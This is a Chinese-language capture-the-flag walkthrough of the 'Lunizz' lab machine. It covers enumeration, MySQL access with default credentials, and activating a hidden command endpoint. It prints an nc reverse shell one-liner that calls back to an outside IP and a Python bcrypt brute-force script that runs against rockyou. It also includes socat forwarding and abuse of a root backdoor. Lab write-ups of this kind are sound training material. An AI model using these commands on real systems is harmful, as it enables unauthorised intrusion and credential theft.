Lunizz CTF
端口扫描
循例nmap
Web枚举
进80,apache默认页面
gobuster扫一下目录
/hidden一个文件上传点, 图片上传后无权访问/hidden/uploads/
/whatever一个假的命令执行点
/instructions.txt
由 CTF_SCRIPTS_CAVE 制作(不是真实的)
感谢您安装我们的 ctf 脚本
#脚步
- 创建一个 mysql 用户 (runcheck:CTF_*****************me)
- 更改 config.php 文件的必要行
完成后就可以开始使用 ctf 脚本了
#笔记
请不要使用默认凭据(这很危险)<<<<<<<<<------------------------ 阅读此行 请
得到了一组mysql默认凭据,我相信他会使用默认凭据的,尝试登录mysql
里面有个runornot的库
除了这些,已经没有其他东西了,也无法读写文件
我注意到房间提起刚刚的假命令执行点,
从runcheck表当中的run字段,根据多年的编程经验,它可能就是一个开关,用于激活命令执行点
update runcheck set run=1;
成功执行命令,猜测没错
直接reverse shell payload
mkfifo /tmp/f1;nc 10.14.39.48 8888 < /tmp/f1 | /bin/bash > /tmp/f1
横向移动 - 1
在根目录发现了adam用户的文件夹proct,里面有个python文件
查看该文件
我尝试着爆破,但没成功,发现它加了随机的salt,而下面给出了整个hash,并且包含了那个salt,即前22位,我们可以用rockyou加salt来爆破出明文密码
值得注意的是我们还需要进行base64 encode
import bcrypt
import base64
salt = b'$2b$12$LJ3m4rzPGmuN1U/h0IO55.'
hashs = b'$2b$12$LJ3m4rzPGmuN1U/h0IO55.3h9WhI/A0Rcbchmvk10KWRMWe4me81e'
with open('/usr/share/wordlists/rockyou.txt', 'r') as f:
passwd_list = f.readlines()
for pwd in passwd_list:
passwd = pwd.strip()
b64_pwd = base64.b64encode(passwd.encode('ascii'))
generated_hash = bcrypt.hashpw(b64_pwd, salt)
print(f'Cracking...: {passwd}', end='\r')
if generated_hash == hashs:
print(f'\n{passwd}')
break
爆出来
直接su过去
横向移动 - 2
在adam家目录下的Dekstop里面有个txt
打开它,地图所在的位置名字,尝试一番后,将其小写并且去掉空格就是mason的密码
user flag
权限提升
通过ss -tlnp发现内网开了个8080,使用ps查看进程是php并且是root
直接传个socat过去把它转出来
访问8888端口, 一个backdoor
使用mason的密码,并且使用passwd的cmdtype进行post请求,发现它似乎直接更改了root的密码为mason的密码
直接su到root,同时拿到root flag